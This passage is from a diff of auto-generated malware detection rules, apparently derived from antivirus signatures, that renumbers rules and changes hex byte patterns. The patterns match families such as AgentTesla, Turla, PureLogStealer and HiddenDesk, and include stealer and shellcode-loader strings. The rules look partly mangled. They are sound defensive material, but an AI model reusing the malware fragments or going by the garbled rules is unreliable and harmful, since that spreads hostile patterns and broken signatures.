1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_9a_4 & 1)*0+(#a_65_5 & 1)*25902) >=6 } -rule _InfrastructureShared_10619{ +rule _InfrastructureShared_11302{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 21 " @@ -115760,7 +123346,7 @@ rule _InfrastructureShared_10619{ ((#a_46_0 & 1)*21283+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_9a_5 & 1)*0+(#a_cd_6 & 1)*20048) >=6 } -rule _InfrastructureShared_10620{ +rule _InfrastructureShared_11303{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 0d 00 21 " @@ -115782,7 +123368,7 @@ rule _InfrastructureShared_10620{ ((#a_46_0 & 1)*16675+(#a_68_1 & 1)*1280+(#a_00_2 & 1)*17958+(#a_d2_3 & 1)*26625+(#a_57_4 & 1)*29285+(#a_6c_5 & 1)*384+(#a_54_6 & 1)*19027+(#a_6b_7 & 1)*30318+(#a_00_8 & 1)*28015+(#a_70_9 & 1)*384+(#a_54_10 & 1)*8515+(#a_74_11 & 1)*27491+(#a_6e_12 & 1)*24940) >=6 } -rule _InfrastructureShared_10621{ +rule _InfrastructureShared_11304{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -115798,7 +123384,7 @@ rule _InfrastructureShared_10621{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*26988+(#a_00_2 & 1)*21581+(#a_01_3 & 1)*1536+(#a_6e_4 & 1)*24941+(#a_4d_5 & 1)*17198+(#a_36_6 & 1)*11825) >=7 } -rule _InfrastructureShared_10622{ +rule _InfrastructureShared_11305{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -115813,7 +123399,7 @@ rule _InfrastructureShared_10622{ ((#a_54_0 & 1)*18467+(#a_52_1 & 1)*-32505+(#a_65_2 & 1)*24940+(#a_68_3 & 1)*384+(#a_73_5 & 1)*384+(#a_01_6 & 1)*26977) >=7 } -rule _InfrastructureShared_10623{ +rule _InfrastructureShared_11306{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -115824,12 +123410,12 @@ rule _InfrastructureShared_10623{ $a_6e_3 = {53 75 63 63 65 73 73 01 00 0d 81 01 53 6f 63 6b 65 74 43 6f 6e 6e 65 63 74 01 00 06 81 01 53 65 6e 64 54 6f 01 00 0b 81 01 52 65 63 65 69 76 65 46 72 6f 6d 00 00 78 9a 00 00 08 00 08 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 43 5a 21 4d 54 42 00 02 00 0f 01 53 6f 66 74 77 61 } //26479 $a_6f_4 = {66 61 77 69 02 00 2f 01 52 65 6c 61 75 6e 63 68 43 68 72 6f 6d 65 42 72 6f 77 73 65 72 57 69 74 68 4e 65 77 43 6f 6d 6d 61 6e 64 4c 69 6e 65 49 66 4e 65 65 64 65 64 02 00 12 01 49 73 53 61 6e 64 62 6f 78 65 64 50 72 6f 63 65 73 73 02 00 13 01 63 65 66 5f 73 74 72 69 6e 67 5f } //25970 $a_5f_5 = {72 65 65 00 00 78 9a 00 00 0a 00 0a 00 02 00 21 23 54 45 4c 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 54 75 72 6c 61 2e 41 43 00 0a 00 35 80 01 5c 5c 2e 5c 70 69 70 65 5c 57 69 6e 73 6f 63 6b 32 5c 43 61 74 61 6c 6f 67 43 68 61 6e 67 65 4c 69 73 74 65 6e 65 72 2d 25 30 32 78 25 30 32 78 2d 25 30 31 78 0a 00 35 80 01 5c 5c 2e 5c } //24941 - $a_65_6 = {57 69 6e 73 6f 63 6b 32 5c 43 61 74 61 6c 6f 67 43 68 61 6e 67 65 4c 69 73 74 65 6e 65 72 2d 25 30 33 78 25 30 31 78 2d 25 30 31 78 00 00 78 9a 00 00 0b 00 0b 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 72 79 73 61 6e 2e 4e 45 41 41 21 4d 54 42 00 05 00 25 01 24 63 61 66 36 65 38 37 39 2d 33 38 33 63 2d 34 36 39 } //26992 + $a_65_6 = {57 69 6e 73 6f 63 6b 32 5c 43 61 74 61 6c 6f 67 43 68 61 6e 67 65 4c 69 73 74 65 6e 65 72 2d 25 30 33 78 25 30 31 78 2d 25 30 31 78 00 00 78 9a 00 00 0b 00 0b 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 69 6c 6c 61 2e 5a 52 54 21 4d 54 42 00 06 00 44 03 0a 16 0b 2b 1e 06 07 03 07 6f 90 01 01 01 00 0a 04 07 04 6f } //26992 condition: ((#a_41_0 & 1)*20515+(#a_74_1 & 1)*25700+(#a_78_2 & 1)*11887+(#a_6e_3 & 1)*26479+(#a_6f_4 & 1)*25970+(#a_5f_5 & 1)*24941+(#a_65_6 & 1)*26992) >=7 } -rule _InfrastructureShared_10624{ +rule _InfrastructureShared_11307{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -115839,13 +123425,13 @@ rule _InfrastructureShared_10624{ $a_53_2 = {66 } //3840 f $a_72_3 = {5c 6f 69 66 61 77 69 02 00 2f 01 52 65 6c 61 75 6e 63 68 43 68 72 6f 6d 65 42 72 6f 77 73 65 72 57 69 74 68 4e 65 77 43 6f 6d 6d 61 6e 64 4c 69 6e 65 49 66 4e 65 65 64 65 64 02 00 12 01 49 73 53 61 6e 64 62 6f 78 65 64 50 72 6f 63 65 73 73 02 00 13 01 63 65 66 5f 73 74 72 69 6e 67 5f 6d 61 } //30580 $a_72_4 = {65 00 00 78 9a 00 00 0a 00 0a 00 02 00 21 23 54 45 4c 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 54 75 72 6c 61 2e 41 43 00 0a 00 35 80 01 5c 5c 2e 5c 70 69 70 65 5c 57 69 6e 73 6f 63 6b 32 5c 43 61 74 61 6c 6f 67 43 68 61 6e 67 65 4c 69 73 74 65 6e 65 72 2d 25 30 32 78 25 30 32 78 2d 25 30 31 78 0a } //24432 - $a_01_5 = {5c 5c 2e 5c 70 69 70 65 5c 57 69 6e 73 6f 63 6b 32 5c 43 61 74 61 6c 6f 67 43 68 61 6e 67 65 4c 69 73 74 65 6e 65 72 2d 25 30 33 78 25 30 31 78 2d 25 30 31 78 00 00 78 9a 00 00 0b 00 0b 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 72 79 73 61 6e 2e 4e 45 41 41 21 4d 54 42 00 05 00 25 01 24 63 61 66 36 65 38 37 39 2d 33 38 33 63 2d 34 36 39 36 2d 38 66 63 34 2d } //13568 - $a_63_6 = {63 65 35 36 62 38 33 02 00 16 01 67 00 65 00 74 00 2f 00 73 00 41 00 51 00 70 00 4f 00 4c 00 2f 00 02 00 11 01 43 3a 5c 54 45 4d 50 5c 43 64 46 69 6c 65 4d } //13366 散㘵㡢ȳᘀ朁攀琀⼀猀䄀儀瀀伀䰀⼀Ȁᄀ䌁尺䕔偍䍜䙤汩䵥 + $a_01_5 = {5c 5c 2e 5c 70 69 70 65 5c 57 69 6e 73 6f 63 6b 32 5c 43 61 74 61 6c 6f 67 43 68 61 6e 67 65 4c 69 73 74 65 6e 65 72 2d 25 30 33 78 25 30 31 78 2d 25 30 31 78 00 00 78 9a 00 00 0b 00 0b 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 69 6c 6c 61 2e 5a 52 54 21 4d 54 42 00 06 00 44 03 0a 16 0b 2b 1e 06 07 03 07 6f 90 01 01 01 00 0a 04 07 04 6f 90 01 01 01 00 0a 5d } //13568 + $a_01_6 = {01 } //-28561 condition: - ((#a_4c_0 & 1)*21539+(#a_2d_1 & 1)*26983+(#a_53_2 & 1)*3840+(#a_72_3 & 1)*30580+(#a_72_4 & 1)*24432+(#a_01_5 & 1)*13568+(#a_63_6 & 1)*13366) >=7 + ((#a_4c_0 & 1)*21539+(#a_2d_1 & 1)*26983+(#a_53_2 & 1)*3840+(#a_72_3 & 1)*30580+(#a_72_4 & 1)*24432+(#a_01_5 & 1)*13568+(#a_01_6 & 1)*-28561) >=7 } -rule _InfrastructureShared_10625{ +rule _InfrastructureShared_11308{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 21 " @@ -115857,7 +123443,7 @@ rule _InfrastructureShared_10625{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*28483+(#a_70_2 & 1)*28764) >=8 } -rule _InfrastructureShared_10626{ +rule _InfrastructureShared_11309{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -115868,7 +123454,18 @@ rule _InfrastructureShared_10626{ ((#a_4c_0 & 1)*21539+(#a_78_1 & 1)*12325) >=10 } -rule _InfrastructureShared_10627{ +rule _InfrastructureShared_11310{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 69 6c 6c 61 2e 5a 52 54 21 4d 54 42 00 06 00 44 03 0a 16 0b 2b 1e 06 07 03 07 6f 90 01 01 01 00 0a 04 07 04 6f 90 01 01 01 00 0a 5d 6f 90 01 01 01 00 0a 61 d1 9d 07 17 } //21539 + $a_03_1 = {6f 90 01 01 01 00 0a } //2904 + condition: + ((#a_4c_0 & 1)*21539+(#a_03_1 & 1)*2904) >=11 + +} +rule _InfrastructureShared_11311{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 04 00 21 " @@ -115880,19 +123477,31 @@ rule _InfrastructureShared_10627{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*115+(#a_23_3 & 1)*3) >=11 } -rule _InfrastructureShared_10628{ +rule _InfrastructureShared_11312{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 47 49 21 4d 54 42 00 0a 00 44 02 03 11 04 18 6f 90 01 04 28 90 01 04 28 90 01 04 04 07 6f 90 01 04 28 90 01 04 6a 61 b7 28 90 01 04 13 90 01 01 12 07 28 90 01 04 13 05 08 } //18467 - $a_90_1 = {04 26 07 04 6f 90 01 04 17 da 33 03 17 2b 01 90 00 01 00 07 00 47 65 74 54 79 70 65 01 00 13 80 01 67 65 74 5f 56 61 6c 75 65 45 6e 75 6d 65 72 61 74 6f 72 00 00 78 9a 00 00 0e 00 0e 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 45 54 21 4d 54 42 00 0a 00 2b 02 25 16 03 a2 } //1297 - $a_14_2 = {8d 90 01 04 25 16 17 9c 25 13 04 28 90 01 04 11 04 16 91 2d } //3365 + $a_90_1 = {04 26 07 04 6f 90 01 04 17 da 33 03 17 2b 01 90 00 01 00 07 00 47 65 74 54 79 70 65 01 00 13 80 01 67 65 74 5f 56 61 6c 75 65 45 6e 75 6d 65 72 61 74 6f 72 00 00 78 9a 00 00 0c 00 0c 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 65 64 79 2e 41 48 44 21 4d 54 42 00 0a 00 26 03 8b 85 68 fe ff ff 8b 8d 64 fe ff } //1297 + $a_50_2 = {56 e8 90 01 04 83 c4 0c ff d6 33 f6 8b 8d 64 fe ff ff 85 c9 90 00 01 00 22 01 46 61 69 6c 65 64 20 74 6f 20 61 64 64 20 74 6f 20 73 74 61 72 74 75 70 20 72 65 67 69 73 74 72 79 21 01 00 1e 01 44 6f 77 6e 6c 6f 61 64 65 64 20 73 68 65 6c 6c 63 6f 64 65 20 69 73 20 65 6d 70 74 79 21 00 00 78 9a 00 00 0e 00 0e 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 45 54 21 4d 54 42 00 0a 00 2b 02 25 16 03 a2 25 0d 14 14 17 8d 90 01 04 25 16 17 9c 25 13 04 28 90 01 04 11 04 16 91 2d 02 2b 0a 09 16 9a 28 90 01 04 10 01 90 00 01 } //11263 condition: - ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*1297+(#a_14_2 & 1)*3365) >=12 + ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*1297+(#a_50_2 & 1)*11263) >=12 } -rule _InfrastructureShared_10629{ +rule _InfrastructureShared_11313{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 65 64 79 2e 41 48 44 21 4d 54 42 00 0a 00 26 03 8b 85 68 fe ff ff 8b 8d 64 fe ff ff 2b c1 50 51 56 e8 90 01 04 83 c4 0c ff d6 33 f6 8b 8d 64 fe ff ff 85 c9 90 00 01 } //21539 + $a_46_1 = {69 } //8704 i + $a_20_2 = {6f 20 61 64 64 20 74 6f 20 73 74 61 72 74 75 70 20 72 65 67 69 73 74 72 79 21 01 00 1e 01 44 6f 77 6e 6c 6f 61 64 65 64 20 73 68 65 6c 6c 63 6f 64 65 20 69 73 20 65 6d 70 74 79 21 00 00 78 9a 00 00 0e 00 0e 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c } //25964 + condition: + ((#a_4c_0 & 1)*21539+(#a_46_1 & 1)*8704+(#a_20_2 & 1)*25964) >=12 + +} +rule _InfrastructureShared_11314{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 05 00 21 " @@ -115906,7 +123515,7 @@ rule _InfrastructureShared_10629{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*384+(#a_6a_2 & 1)*29268+(#a_01_3 & 1)*28524+(#a_28_4 & 1)*28675) >=14 } -rule _InfrastructureShared_10630{ +rule _InfrastructureShared_11315{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 05 00 21 " @@ -115920,7 +123529,7 @@ rule _InfrastructureShared_10630{ ((#a_54_0 & 1)*18467+(#a_24_1 & 1)*-30224+(#a_54_2 & 1)*21076+(#a_a2_3 & 1)*769+(#a_2e_4 & 1)*27763) >=14 } -rule _InfrastructureShared_10631{ +rule _InfrastructureShared_11316{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 04 00 21 " @@ -115933,7 +123542,7 @@ rule _InfrastructureShared_10631{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*4864+(#a_00_2 & 1)*27749+(#a_74_3 & 1)*16896) >=16 } -rule _InfrastructureShared_10632{ +rule _InfrastructureShared_11317{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 08 00 21 " @@ -115950,7 +123559,7 @@ rule _InfrastructureShared_10632{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_02_4 & 1)*10+(#a_9a_5 & 1)*0+(#a_02_6 & 1)*26879+(#a_65_7 & 1)*26960) >=17 } -rule _InfrastructureShared_10633{ +rule _InfrastructureShared_11318{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,17 00 17 00 06 00 21 " @@ -115964,7 +123573,7 @@ rule _InfrastructureShared_10633{ ((#a_54_0 & 1)*18467+(#a_74_2 & 1)*9728+(#a_4c_3 & 1)*28021+(#a_65_4 & 1)*28233+(#a_72_5 & 1)*25697) >=23 } -rule _InfrastructureShared_10634{ +rule _InfrastructureShared_11319{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,18 00 18 00 06 00 21 " @@ -115979,7 +123588,7 @@ rule _InfrastructureShared_10634{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*2582+(#a_00_2 & 1)*110+(#a_6b_3 & 1)*28488+(#a_01_4 & 1)*10+(#a_9a_5 & 1)*0) >=24 } -rule _InfrastructureShared_10635{ +rule _InfrastructureShared_11320{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,28 00 28 00 05 00 21 " @@ -115987,36 +123596,35 @@ rule _InfrastructureShared_10635{ $a_54_0 = {3a 49 6e 74 65 6e 74 49 6e 66 48 6f 6f 6b 00 0a 00 3c 00 43 00 69 00 72 00 63 00 75 00 6c 00 61 00 72 00 20 00 4b 00 65 00 72 00 6e 00 65 00 6c 00 20 00 43 00 6f 00 6e 00 74 00 65 00 78 00 74 00 20 00 4c 00 6f 00 67 00 67 00 65 00 72 00 0a 00 0e 01 } //18467 $a_72_1 = {63 65 43 6f 6e 74 72 6f 6c 0a 00 05 01 2c 08 04 38 0c 0a 00 10 01 52 74 6c 49 6d 61 67 65 4e 74 48 65 61 64 65 72 0a 00 0a 01 a5 aa a5 b8 a5 aa a5 aa a5 b8 00 00 78 9a 00 00 2c 01 2c 01 03 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 } //30554 $a_2f_2 = {69 64 64 65 6e 44 65 73 6b 2e 41 00 64 00 36 01 48 00 69 00 64 00 64 00 65 00 6e 00 44 00 65 00 73 00 6b 00 74 00 6f 00 70 00 5f 00 43 00 6f 00 6e 00 74 00 } //13934 - $a_00_3 = {6c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 64 00 22 01 25 00 53 00 20 00 48 00 69 00 64 00 64 00 65 00 6e 00 20 00 44 00 65 00 73 00 6b 00 74 00 6f 00 70 00 64 00 09 01 41 56 45 5f 4d 41 52 49 41 00 00 78 9a 00 00 34 00 34 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 50 75 72 65 4c 6f 67 53 74 65 61 6c 65 72 21 4d } //114 + $a_00_3 = {6c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 64 00 22 01 25 00 53 00 20 00 48 00 69 00 64 00 64 00 65 00 6e 00 20 00 44 00 65 00 73 00 6b 00 74 00 6f 00 70 00 64 00 09 01 41 56 45 5f 4d 41 52 49 41 00 00 78 9a 00 00 32 00 32 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4d 69 6b 65 79 2e 4b 4b 21 4d 54 42 00 1e 00 } //114 + $a_01_4 = {01 48 8b 01 48 8b d0 48 c1 ea 1e 48 33 d0 48 b8 90 01 08 48 0f af c2 48 8b d0 48 c1 ea 1b 48 33 d0 48 b8 90 01 08 48 0f af c2 48 8b d0 48 c1 ea 1f 48 33 c2 c3 90 00 14 00 31 03 44 8b c2 46 0f b6 44 00 10 49 b9 90 01 } //825 condition: - ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*30554+(#a_2f_2 & 1)*13934+(#a_00_3 & 1)*114) >=40 + ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*30554+(#a_2f_2 & 1)*13934+(#a_00_3 & 1)*114+(#a_01_4 & 1)*825) >=40 } -rule _InfrastructureShared_10636{ +rule _InfrastructureShared_11321{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,2c 01 2c 01 03 00 21 " strings : $a_46_0 = {45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 48 69 64 64 65 6e 44 65 73 6b 2e 41 00 64 00 36 01 48 00 69 00 64 00 64 00 65 00 6e 00 44 00 65 00 73 00 6b 00 74 00 6f 00 70 00 5f 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c } //16675 剅䠺捡呫潯㩬楗㙮⼴楈摤湥敄歳䄮搀㘀䠁椀搀搀攀渀䐀攀猀欀琀漀瀀开䌀漀渀琀爀漀氀 - $a_00_2 = {6f 00 77 00 64 00 22 01 25 00 53 00 20 00 48 00 69 00 64 00 64 00 65 00 6e 00 20 00 44 00 65 00 73 00 6b 00 74 00 6f 00 70 00 64 00 09 01 41 56 45 5f 4d 41 52 49 41 00 00 78 9a 00 00 34 00 34 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 50 75 72 65 4c 6f 67 53 74 65 61 6c 65 72 21 } //110 + $a_00_2 = {6f 00 77 00 64 00 22 01 25 00 53 00 20 00 48 00 69 00 64 00 64 00 65 00 6e 00 20 00 44 00 65 00 73 00 6b 00 74 00 6f 00 70 00 64 00 09 01 41 56 45 5f 4d 41 52 49 41 00 00 78 9a 00 00 32 00 32 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4d 69 6b 65 79 2e 4b 4b 21 4d 54 42 00 1e } //110 condition: ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*110) >=300 } -rule _InfrastructureShared_10637{ +rule _InfrastructureShared_11322{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,34 00 34 00 05 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,32 00 32 00 02 00 21 " strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 50 75 72 65 4c 6f 67 53 74 65 61 6c 65 72 21 4d 54 42 00 32 00 25 80 01 24 36 31 37 34 31 64 39 31 2d 65 35 38 66 2d 34 62 63 35 2d 62 66 31 32 2d 38 33 65 33 65 61 37 62 } //21539 - $a_33_1 = {00 0d 80 01 7b 31 31 31 31 31 2d 32 32 32 32 32 2d 01 00 0c 80 01 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0e 80 01 44 65 62 75 67 67 69 6e 67 4d 6f 64 65 73 } //24880 - $a_80_2 = {47 65 74 42 79 74 65 73 } //GetBytes 1 - $a_9a_3 = {00 64 00 64 00 05 00 21 23 54 57 43 5f 4d 61 64 68 69 00 01 00 21 01 5c 4d 61 68 64 69 5c 44 65 73 6b 74 6f 70 5c 4e 65 77 20 43 23 5c 6d 73 64 79 63 5c 6d 73 64 79 63 01 00 0e 01 2f 00 53 00 41 00 47 00 48 00 41 00 2f 00 01 00 10 01 5c 33 48 33 34 4e 5c 44 6f 63 75 6d 65 6e 74 73 01 00 1b 03 47 00 48 00 49 00 61 00 6d 00 69 00 90 02 02 2e 00 70 00 6f 00 6b } //0 + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4d 69 6b 65 79 2e 4b 4b 21 4d 54 42 00 1e 00 39 03 48 01 01 48 8b 01 48 8b d0 48 c1 ea 1e 48 33 d0 48 b8 90 01 08 48 0f af c2 48 8b d0 48 c1 ea 1b 48 33 d0 48 b8 90 01 } //21539 + $a_af_1 = {48 8b d0 48 c1 ea 1f 48 33 c2 c3 90 00 14 00 } //18440 condition: - ((#a_4c_0 & 1)*21539+(#a_33_1 & 1)*24880+(#a_80_2 & 1)*1+(#a_9a_3 & 1)*0) >=52 + ((#a_4c_0 & 1)*21539+(#a_af_1 & 1)*18440) >=50 } -rule _InfrastructureShared_10638{ +rule _InfrastructureShared_11323{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 05 00 21 " @@ -116030,7 +123638,7 @@ rule _InfrastructureShared_10638{ ((#a_43_0 & 1)*21539+(#a_00_1 & 1)*72+(#a_6f_2 & 1)*21611+(#a_00_3 & 1)*101+(#a_58_4 & 1)*4034) >=100 } -rule _InfrastructureShared_10639{ +rule _InfrastructureShared_11324{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffff90 01 ffffff90 01 04 00 21 " @@ -116043,7 +123651,7 @@ rule _InfrastructureShared_10639{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*32+(#a_42_2 & 1)*19745+(#a_d1_3 & 1)*4234) >=400 } -rule _InfrastructureShared_10640{ +rule _InfrastructureShared_11325{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -116053,7 +123661,7 @@ rule _InfrastructureShared_10640{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_10641{ +rule _InfrastructureShared_11326{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -116063,7 +123671,7 @@ rule _InfrastructureShared_10641{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10642{ +rule _InfrastructureShared_11327{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -116073,7 +123681,7 @@ rule _InfrastructureShared_10642{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10643{ +rule _InfrastructureShared_11328{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -116083,7 +123691,7 @@ rule _InfrastructureShared_10643{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_10644{ +rule _InfrastructureShared_11329{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -116093,7 +123701,7 @@ rule _InfrastructureShared_10644{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_10645{ +rule _InfrastructureShared_11330{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -116103,7 +123711,7 @@ rule _InfrastructureShared_10645{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_10646{ +rule _InfrastructureShared_11331{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -116113,7 +123721,7 @@ rule _InfrastructureShared_10646{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_10647{ +rule _InfrastructureShared_11332{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -116124,7 +123732,7 @@ rule _InfrastructureShared_10647{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*257) >=1 } -rule _InfrastructureShared_10648{ +rule _InfrastructureShared_11333{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -116135,7 +123743,7 @@ rule _InfrastructureShared_10648{ ((#a_54_0 & 1)*18467+(#a_06_1 & 1)*2056) >=1 } -rule _InfrastructureShared_10649{ +rule _InfrastructureShared_11334{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -116149,7 +123757,7 @@ rule _InfrastructureShared_10649{ ((#a_6f_0 & 1)*21539+(#a_75_1 & 1)*12604+(#a_c4_2 & 1)*1025+(#a_79_3 & 1)*30583+(#a_00_4 & 1)*61) >=1 } -rule _InfrastructureShared_10650{ +rule _InfrastructureShared_11335{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -116162,7 +123770,7 @@ rule _InfrastructureShared_10650{ ((#a_54_0 & 1)*18467+(#a_8c_3 & 1)*-31545+(#a_88_4 & 1)*-31607+(#a_65_5 & 1)*25972) >=1 } -rule _InfrastructureShared_10651{ +rule _InfrastructureShared_11336{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -116173,7 +123781,7 @@ rule _InfrastructureShared_10651{ ((#a_46_0 & 1)*16675+(#a_40_1 & 1)*3840) >=2 } -rule _InfrastructureShared_10652{ +rule _InfrastructureShared_11337{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -116183,7 +123791,7 @@ rule _InfrastructureShared_10652{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_10653{ +rule _InfrastructureShared_11338{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -116194,7 +123802,7 @@ rule _InfrastructureShared_10653{ ((#a_54_0 & 1)*18467+(#a_a1_1 & 1)*1161) >=2 } -rule _InfrastructureShared_10654{ +rule _InfrastructureShared_11339{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -116205,7 +123813,7 @@ rule _InfrastructureShared_10654{ ((#a_54_0 & 1)*18467+(#a_9e_1 & 1)*4357) >=2 } -rule _InfrastructureShared_10655{ +rule _InfrastructureShared_11340{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -116216,7 +123824,7 @@ rule _InfrastructureShared_10655{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*1803) >=2 } -rule _InfrastructureShared_10656{ +rule _InfrastructureShared_11341{ meta: description = 